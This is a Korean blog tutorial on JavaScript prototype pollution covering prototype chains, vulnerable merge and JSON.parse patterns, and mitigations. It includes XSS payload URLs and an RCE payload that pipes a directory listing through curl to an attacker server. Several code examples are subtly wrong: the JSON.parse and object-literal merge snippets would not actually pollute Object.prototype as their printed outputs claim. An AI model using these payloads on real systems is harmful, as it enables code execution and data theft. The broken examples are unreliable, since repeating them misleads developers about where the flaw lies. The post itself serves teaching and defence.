Intro
Javascript는 Prototype이라는 독특한 개념을 가지고 있다. 그런데 이러한 Prototype이라는 개념 때문에 발생하는 문제가 있다. 아래의 코드를 보자.
let obj = {};
obj.__proto__.polluted = "I'm polluted!";
console.log(obj.polluted);
let newObj = {};
console.log(newObj.polluted);
일반적인 프로그래밍 언어의 상식에서 본다면 위 코드는 다소 비정상적이다. obj라는 객체에 polluted라는 속성을 추가하지도 않았는데 console.log 함수를 통해 polluted라는 속성을 obj라는 객체에서 호출한다. 더 이상한 점은 방금 생성한 newObj라는 객체에서 갑자기 polluted라는 속성을 호출하기도 한다.
하지만
I'm polluted!
I'm polluted!
위의 두 console.log 함수는 이처럼 동일한 결과를 출력한다. 이번 글에서는 이러한 javascript의 성질을 이용한 취약점인 prototype pollution에 대해 알아보고자 한다.
Prototype이란?
원래대로라면 Prototype Pollution에 대해 설명하기 전 Prototype의 개념에 대해 설명하는게 맞겠지만, Prototype에 대한 설명만으로도 분량이 많이 나와 별도로 글을 작성하였다. Prototype이라는 개념에 대한 것은 아래 링크 참고.
https://securitychan.tistory.com/34
Review - Prototype Chaining
Prototype Pollution을 설명하기 전에 이 공격의 핵심 원리인 Prototype chaining에 대해 다시 한번 짚고 넘어갈 필요가 있다. Javascript에서는 상속을 구현하기 위해 prototype이라는 개념을 사용하여 구현한다. 객체의 집단(class)이 갖는 공통된 속성을 생성자의 prototype이라는 속성에 정의하고, 해당 공통된 속성이 필요할 때 prototype을 참조하여 가져오는 형태이다. 그리고 그 과정에서 해당 속성을 탐색하기 위해 따라가는 일련의 prototype을 prototype chain이라고 한다.
function Person(name) {
this.name = name;
}
Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
};
const alice = new Person('Alice');
alice.greet(); // "Hello, my name is Alice"
// 프로토타입 체인 탐색
console.log(alice.__proto__ === Person.prototype); // true
console.log(Person.prototype.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__ === null); // true
위 코드는 prototype chaining을 이해하기 위한 예제 코드이다. alice의 __proto__속성이 Person.prototype이 되고, 그것의 __proto__속성이 Object.prototype이 되는 구조이다. 즉 proto 속성을 계속해서 타고 올라가면 상위 prototype에 순차적으로 접근할 수 있게 된다. 그리고 객체에서 method를 호출할 때 객체에 method가 정의되어 있지 않다면 이 chian을 타고 올라가면서 상위 prototype에서 정의된 method를 사용한다.
Prototype Pollution
개요
Prototype Pollution이란 말 그대로 prototype에 오염(pollution)을 가하는 것이다. 보통 보안에서 말하는 오염(pollution)이란, 비정상적인 데이터를 주입하여 오작동을 유발하는 유형의 공격이다. 이러한 사실에서 유추하면 prototype pollution이란, Prototype에 비정상적인 데이터를 주입하여 공격자가 원하는 동작을 유발하게 만드는 공격이라고 추측할 수 있다.
Prototype Pollution 발생 원리
Prototype Pollution은 Javascript 처리 로직의 문제로 객체의 prototype을 수정할 수 있을 때 발생한다.
let obj = { name: "Alice", age: 30 };
let userInput = {
__proto__: {
isAdmin: true
}
};
merge(obj, userInput);
(참고로, 최신 버전에서는 적용되지 않는다)
위 코드는 prototype pollution에 의해 발생할 수 있는 상황이다. 사용자의 이름과 나이가 포함된 obj라는 객체와 사용자의 입력값을 통해 생성된 userInput이라는 객체가 merge라는 함수에 의해 병합된다.
이때 단순하게 생각하면 병합된 객체는 { name: "Alice", age: 30, __proto__: { isAdmin: true } }라는 결과가 나와야 하지만, javascript에서 __proto__라는 속성은 특수한 속성으로 상위 prototype을 직접 조작한다. 그래서 실제로는 Object.prototype에 isAdmin이라는 값이 추가된다.
그 결과로 모든 객체의 prototype에 isAdmin이라는 속성이 추가되고, 해당 속성의 유무를 통해 권한을 검증하는 로직에서 관리자 권한을 행사할 수 있게 된다.
console.log(obj.isAdmin); // true
console.log({}.isAdmin); // true
Prototype Pollution 발생 원인(예시)
Prototype Pollution은 사용자의 입력값이 객체의 임의 속성을 제어할 수 있기 때문에 생긴다. 따라서 이러한 상황을 만들 수 있는 모든 상황이 prototype pollution을 유발하는 원인이 된다. 아래는 prototype pollution이 발생할 수 있는 예시들이다.
1. 객체 재귀 병합
대표적인 예시로, 안전하지 않은 객체가 기존 객체에 재귀적으로 병합될 때 pollution이 발생할 수 있다. Javascript에서 객체를 병합할 때 객체 병합 함수라는 것을 사용하게 된다. (내장된 함수는 아니고, 일반적으로 많이 사용하는 병합 함수 포맷이 몇 개 있다.) 이때 안전하지 않은 객체 재귀 병합 함수를 사용하게 될 경우, 사용자가 proto 속성이 포함된 객체를 입력할 수 있고, 이 객체가 병합되는 과정에서 prototype을 수정할 수 있게 된다. 아래는 객체 병합 함수를 이용한 prototype pollution의 예시다.
function merge(target, source) {
for (const key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key])) {
target[key] = merge({}, source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
}
const userInput = { "__proto__": { isAdmin: true } };
const pollutedObject = merge({}, userInput);
console.log({}.isAdmin); // true
위 코드의 merge 함수는 source 객체를 target 객체에 재귀적으로 병합시키는 함수다. 이때 proto 속성을 빈 객체로 병합하는 과정에서 Object.prototype이 오염될 수 있다. 결과적으로 isAdmin 속성이 Object.prototype에 추가되고 서비스의 인가 로직을 우회할 수 있게 된다.
2. JSON 문자열 입력
JSON.parse()라는 method의 취약점을 이용할 수도 있다. JSON.parse() method를 사용하는 코드에서 사용자의 입력값을 제대로 검증하지 않을 경우, 사용자가 __proto__라는 속성이 포함된 json 데이터를 입력하여 prototype을 변경할 수 있다. 아래는 입력값 검증이 없는 JSON.parse() method를 악용하여 prototype pollution을 진행하는 코드이다.
let userInput = '{"__proto__": {"isAdmin": true}}';
let obj = JSON.parse(userInput);
console.log(obj.isAdmin); // true
console.log({}.isAdmin); // true
위 코드는 사용자가 입력한 __proto__라는 속성이 포함된 json 데이터를 parse라는 method를 활용하여 처리하는 과정이다. 입력받은 json 데이터를 적절히 검증하지 않아 __proto__라는 속성이 삽입될 수 있고, 결과적으로 Object.prototype을 변경하여 isAdmin이라는 속성을 추가할 수 있다.
Prototype Pollution의 영향
사실 Prototype pollution의 공격 활용 방안은 워낙 방대하기 때문에 이 포스트에서 설명하기에는 내용이 너무 방대하기 때문에 모든 경우를 다루지는 않을 것이다. 아래는 prototype pollution에 의해 발생할 수 있는 공격의 예시다.
1. XSS
Prototype Pollution을 통해 가장 많이 발생할 수 있는 공격이다. Object가 생성되고 사용되는 과정에서 임의의 스크립트가 동작하게 할 수 있다.
https://vulnerable-website.com/?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
https://vulnerable-website.com/?__proto__[onload]=alert(1)
https://vulnerable-website.com/?__proto__[src][]=data:,alert(1)//
2. RCE(Remote Code Execution)
일반적으로 javascript는 클라이언트 측에서 기능을 동적으로 구현할 때 사용한다. 이 경우 스크립트 코드는 브라우저, 즉 클라이언트에서만 동작하기 때문에 서버 측에는 영향을 줄 수 없다. 하지만 Node.js 등에 의해 javascript가 서버 측에서 동작할 경우, 서버 측에서 임의의 코드를 동작시킬 수도 있다.
"__proto__": {
"shell":"vim",
"input":":! ls /home/carlos | base64 | curl -d @- https://attacker-server.com\n"
}
Prototype Pollution의 예방
Prototype pollution의 근본적인 원인은 공격자가 prototype에 임의의 속성을 삽입할 수 있다는 점이다. 그렇기 때문에 Prototype pollution을 예방하는 방법은 공격자가 prototype에 접근하거나 prototype을 수정할 수 없도록 조치하는 형태로 이루어진다.
1. 객체 속성 키 필터링
생각할 수 있는 가장 간단한 방법이다. 객체 병합 전에 proto, constructor 등 prototype에 영향을 줄 수 있는 속성들을 사전에 필터링하는 것이다. 그리고 보안을 조금 공부하다보면 알겠지만, 이는 난독화 등에 의해 쉽게 우회할 수 있다. 임시방편으로만 사용하는 방법이다.
2. Object.create(null)
Object.create()라는 method(함수)는 인자에 들어가는 값을 prototype으로 갖는 새 객체를 만드는 method다. 따라서 Object.create(null)을 통해 객체를 생성하면 Object.prototype을 포함한 그 어떤 prototype도 상속받지 않는 객체가 생성되기 때문에 prototype pollution을 막을 수 있다.


단점이라고 한다면, Object.toString() 등 일반적으로 Object.prototype을 상속받는 객체에서 사용할 수 있는 method 등을 사용할 수 없다는 점이다.
3. Object.freeze(Object.prototype)
Object.freeze라는 method는 인자의 값을 동결하는 함수, 쉽게 말해 더 이상 수정할 수 없도록 하는 함수다. 따라서 Object.freeze(Object.prototype)을 사용하면 Object.prototype이 더 이상 변경되지 않고, Object.prototype을 통한 prototype pollution을 막을 수 있다.

4. Map을 통한 객체 생성
또다른 방법은 보호 기능이 내장된 객체를 사용하는 것이다. 그 중 하나가 Map이다. Map이라는 생성자를 통해서도 객체를 만들어 사용할 수 있다. 아래는 Map을 통한 객체 생성 예시다.

물론 Map을 사용하더라도 Object.prototype이 변경되면 Map 역시 영향을 받는다. 하지만 Map에서 속성을 가져올 때 해당 Map 자체에 직접 정의된 속성만 반환하는 get()이라는 method가 존재한다.

객체에서 어떤 속성에 직접 접근하는 경우, 객체에 만약 그 속성이 정의되어 있지 않다면 prototype에 있는 속성값을 가져오게 되고, 이 prototype chaining을 통한 상속은 Map에서도 동일하다.
하지만 Map.get()을 이용하면 해당 Map에 직접 정의한 속성만 가져온다. 따라서 Object.prototype에 정의한 속성은 가져오지 못하고, 직접 정의된 속성은 가져올 수 있게 되는 것이다. 이렇게 Map이라는 구조를 이용하면 Object.prototype이 오염되었다 하더라도 오염된 속성을 가져오지 않도록 할 수 있는 것이다.
참고자료